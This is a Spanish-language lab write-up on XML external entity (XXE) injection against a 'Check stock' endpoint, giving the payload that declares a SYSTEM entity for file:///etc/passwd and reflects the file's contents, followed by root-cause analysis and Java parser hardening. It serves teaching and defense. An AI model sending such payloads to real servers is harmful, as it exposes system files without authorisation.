← Writeups

XXE: lectura de archivos arbitrarios (/etc/passwd) vía entidad externa SYSTEM

Intro clásico a XXE: entidad externa general con file:///etc/passwd inyectada en el cuerpo XML del Check stock, con el contenido reflejado en la respuesta.

1. Target Overview & Vulnerability Summary

La función Check stock del laboratorio parsea un body XML y refleja los valores inesperados en la respuesta (Invalid product ID: ...). El parser resuelve entidades externas generales, lo que permite declarar una entidad SYSTEM que lee file:///etc/passwd y volcar su contenido en el elemento productId, que la respuesta refleja. Es el patrón XXE de lectura de archivos más directo.

Severidad Endpoint vulnerable Root cause
High POST /product/stock (cuerpo XML) Parser XML con DTD y resolución de entidades externas habilitadas; el valor expandido de una entidad se refleja en la respuesta

2. Technical Breakdown & Exploitation Flow

2.1 Identificación de la superficie

El body del Check stock es XML y el campo productId se refleja en el error al recibir un valor no numérico:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>a</productId><storeId>1</storeId></stockCheck>

productId: a confirma el reflejo del valor.

2.2 Declaración de la entidad externa

Se añade un DOCTYPE con la entidad externa xxe que apunta a file:///etc/passwd, y se referencia en productId:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

La respuesta refleja el contenido de /etc/passwd del servidor en Invalid product ID: root:x:0:0:..., resolviendo el lab.

2.3 Anatomía de la declaración

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
  • <!DOCTYPE root [ inicia la DTD interna (subset interno), asociada al elemento raíz root.
  • <!ENTITY xxe ...> define la entidad general xxe.
  • SYSTEM "file:///etc/passwd" marca la entidad como externa: su valor se obtiene al resolver el recurso de la URI (aquí un archivo del sistema).
  • ]> cierra el subset interno; &xxe; en el body expande la entidad a su contenido.

3. Root Cause Analysis

El parser del endpoint está configurado con DOCTYPE permitido y external-general-entities activa. Al expandir &xxe;, el motor resuelve la URI file:///etc/passwd con los privilegios del proceso de la aplicación y sustituye la referencia por su contenido. La ausencia de validación del tipo del dato en productId (que acepta y devuelve texto arbitrario en el mensaje de error) completa el reflejo. Es la combinación mínima y clásica de XXE: parser inseguro + reflejo de la salida.

4. Secure Remediation

Deshabilitar la resolución de entidades externas y el loading de DTD:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);

Refuerzos:

  • No reflejar valores inesperados de campos XML en mensajes de error; devolver errores genéricos.
  • Si el parser debe aceptar solo un esquema estricto (sin DTD), validar el body contra XSD y rechazar DOCTYPE de forma explícita.
  • Tipar productId/storeId como enteros en la capa de aplicación.